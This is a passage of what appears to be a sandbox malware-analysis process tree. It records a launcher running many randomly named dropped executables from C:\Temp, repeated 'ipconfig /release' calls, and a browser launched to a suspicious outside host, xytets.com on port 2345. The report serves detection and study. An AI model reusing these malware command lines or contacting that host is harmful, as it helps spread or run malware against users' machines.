        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:456
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4488
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cztrpjgezw.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:6096
  - - C:\Temp\i_cztrpjgezw.exe
      C:\Temp\i_cztrpjgezw.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1144
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ebztrmjeuo.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5944
  - - C:\Temp\ebztrmjeuo.exe
      C:\Temp\ebztrmjeuo.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2536
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4860
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4008
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ebztrmjeuo.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5332
  - - C:\Temp\i_ebztrmjeuo.exe
      C:\Temp\i_ebztrmjeuo.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4784
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ytrligebwt.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2444
  - - C:\Temp\ytrligebwt.exe
      C:\Temp\ytrligebwt.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3184
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2068
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1492
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ytrligebwt.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1456
  - - C:\Temp\i_ytrligebwt.exe
      C:\Temp\i_ytrligebwt.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4908
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\byvqoljdbv.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3464
  - - C:\Temp\byvqoljdbv.exe
      C:\Temp\byvqoljdbv.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5952
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3276
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5384
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_byvqoljdbv.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4956
  - - C:\Temp\i_byvqoljdbv.exe
      C:\Temp\i_byvqoljdbv.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3352
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vtqlidavsn.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3136
  - - C:\Temp\vtqlidavsn.exe
      C:\Temp\vtqlidavsn.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:692
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2004
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5100
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vtqlidavsn.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5300
  - - C:\Temp\i_vtqlidavsn.exe
      C:\Temp\i_vtqlidavsn.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1508
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\faxvsqkifd.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1292
  - - C:\Temp\faxvsqkifd.exe
      C:\Temp\faxvsqkifd.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4028
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5848
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4804
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_faxvsqkifd.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2200
  - - C:\Temp\i_faxvsqkifd.exe
      C:\Temp\i_faxvsqkifd.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3896
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ausnkfcaus.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:616
  - - C:\Temp\ausnkfcaus.exe
      C:\Temp\ausnkfcaus.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3724
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3212
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4908
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ausnkfcaus.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1172
  - - C:\Temp\i_ausnkfcaus.exe
      C:\Temp\i_ausnkfcaus.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6052
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xrpjhczusm.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5680
  - - C:\Temp\xrpjhczusm.exe
      C:\Temp\xrpjhczusm.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5380
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3352
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2520
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xrpjhczusm.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2908
  - - C:\Temp\i_xrpjhczusm.exe
      C:\Temp\i_xrpjhczusm.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4520
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pjhecwurmh.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2904
  - - C:\Temp\pjhecwurmh.exe
      C:\Temp\pjhecwurmh.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1296
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4140
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3128
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pjhecwurmh.exe ups_ins
    3⤵
    PID:5580
  - - C:\Temp\i_pjhecwurmh.exe
      C:\Temp\i_pjhecwurmh.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3388
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\trmjecwuom.exe ups_run
    3⤵
    PID:5996
  - - C:\Temp\trmjecwuom.exe
      C:\Temp\trmjecwuom.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5116
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3736
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2288
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_trmjecwuom.exe ups_ins
    3⤵
    PID:5408
  - - C:\Temp\i_trmjecwuom.exe
      C:\Temp\i_trmjecwuom.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6052
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qljebwtomg.exe ups_run
    3⤵
    PID:3260
  - - C:\Temp\qljebwtomg.exe
      C:\Temp\qljebwtomg.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2520
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1784
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5392
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qljebwtomg.exe ups_ins
    3⤵
    PID:5744
  - - C:\Temp\i_qljebwtomg.exe
      C:\Temp\i_qljebwtomg.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5272
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qoigaytqlj.exe ups_run
    3⤵
    PID:6028
  - - C:\Temp\qoigaytqlj.exe
      C:\Temp\qoigaytqlj.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1984
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1248
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2696
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qoigaytqlj.exe ups_ins
    3⤵
    PID:5732
  - - C:\Temp\i_qoigaytqlj.exe
      C:\Temp\i_qoigaytqlj.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1552
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\igaysqlida.exe ups_run
    3⤵
    PID:1204
  - - C:\Temp\igaysqlida.exe
      C:\Temp\igaysqlida.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3104
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4908
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2288
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_igaysqlida.exe ups_ins
    3⤵
    PID:5384
  - - C:\Temp\i_igaysqlida.exe
      C:\Temp\i_igaysqlida.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:992
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nigaysqkid.exe ups_run
    3⤵
    PID:1856
  - - C:\Temp\nigaysqkid.exe
      C:\Temp\nigaysqkid.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2056
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1144
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2104
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nigaysqkid.exe ups_ins
    3⤵
    PID:2192
  - - C:\Temp\i_nigaysqkid.exe
      C:\Temp\i_nigaysqkid.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5272
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\icaxsqnifa.exe ups_run
    3⤵
    PID:2900
  - - C:\Temp\icaxsqnifa.exe
      C:\Temp\icaxsqnifa.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1072
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4572
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:276
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_icaxsqnifa.exe ups_ins
    3⤵
    PID:3680
  - - C:\Temp\i_icaxsqnifa.exe
      C:\Temp\i_icaxsqnifa.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5204
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\causmhecxu.exe ups_run
    3⤵
    PID:4748
  - - C:\Temp\causmhecxu.exe
      C:\Temp\causmhecxu.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1620
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1192
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4612
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_causmhecxu.exe ups_ins
    3⤵
    PID:1908
  - - C:\Temp\i_causmhecxu.exe
      C:\Temp\i_causmhecxu.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1124
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cwurpmhezx.exe ups_run
    3⤵
    PID:3112
  - - C:\Temp\cwurpmhezx.exe
      C:\Temp\cwurpmhezx.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3912
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2424
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1676
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cwurpmhezx.exe ups_ins
    3⤵
    PID:1732
  - - C:\Temp\i_cwurpmhezx.exe
      C:\Temp\i_cwurpmhezx.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2784
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\omhezxrpjh.exe ups_run
    3⤵
    PID:1068
  - - C:\Temp\omhezxrpjh.exe
      C:\Temp\omhezxrpjh.exe ups_run
      4⤵
      PID:5468
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1388
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4396
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ff9851ac188,0x7ff9851ac194,0x7ff9851ac1a0
      4⤵
      PID:3832
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1592,i,4414754845449952774,3100376799002162541,262144 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:2
      4⤵
      PID:4548
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1856,i,4338406889336556251,3614517174888713011,524288 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:11
      4⤵
      System Time Discovery
      PID:6000
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2268,i,15934546547410036104,2471662998137592932,524288 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=2928 /prefetch:13
      4⤵
      PID:5020
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3640,i,7708574221886638893,15873730190630078142,2097152 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=3684 /prefetch:1
      4⤵
      PID:2960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3656,i,5746982250187140894,7926115245599294518,2097152 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=3716 /prefetch:1
      4⤵
      PID:3392
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4340,i,9730437141232497073,16882727484213295670,2097152 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=4948 /prefetch:9
      4⤵
      PID:3828
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4288,i,7705203320594784189,7234133483843454621,2097152 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=4944 /prefetch:1
      4⤵
      PID:1128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3756,i,8753030543420641997,5242279559213839364,2097152 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=3952 /prefetch:1
      4⤵
      PID:4660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5604,i,6547442553713120100,3966058033691138626,524288 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=5556 /prefetch:14
      4⤵
      PID:6016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3736,i,12120761864879293718,9854999550688176977,2097152 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=3748 /prefetch:1
      4⤵
      PID:2864
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5312,i,15063435397279016739,6181858201753464319,524288 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:14
      4⤵
      PID:4152
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5316,i,720218253904315324,11779277936565072508,524288 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=3920 /prefetch:14
      4⤵
      PID:4748
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6156,i,16233326514668170413,10319398880622283080,524288 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=6172 /prefetch:14
      4⤵
      PID:3324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6156,i,16233326514668170413,10319398880622283080,524288 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=6172 /prefetch:14
      4⤵
      PID:2632
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6460,i,14388114736293790887,16623826820788714021,524288 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=6468 /prefetch:14
      4⤵
      PID:4020
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6600,i,13615957873553851561,3477811673415399673,524288 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=6592 /prefetch:14
      4⤵
      PID:4468
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5000,i,7395557324799518490,17205886970505264966,524288 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=4328 /prefetch:14
      4⤵
      PID:3668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4996,i,1979387980937218564,13621794038557388669,524288 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=5064 /prefetch:14
      4⤵
      PID:3780
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4968,i,7352209452251071688,2564263478401473325,524288 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:14
      4⤵
      PID:260
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3552,i,16559346604518385930,17393078268307176823,524288 --field-trial-handle=2252,i,10872077317789972588,12413239361252802225,262144 --variations-seed-version --mojo-platform-channel-handle=4944 /prefetch:14
      4⤵
      PID:2992
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
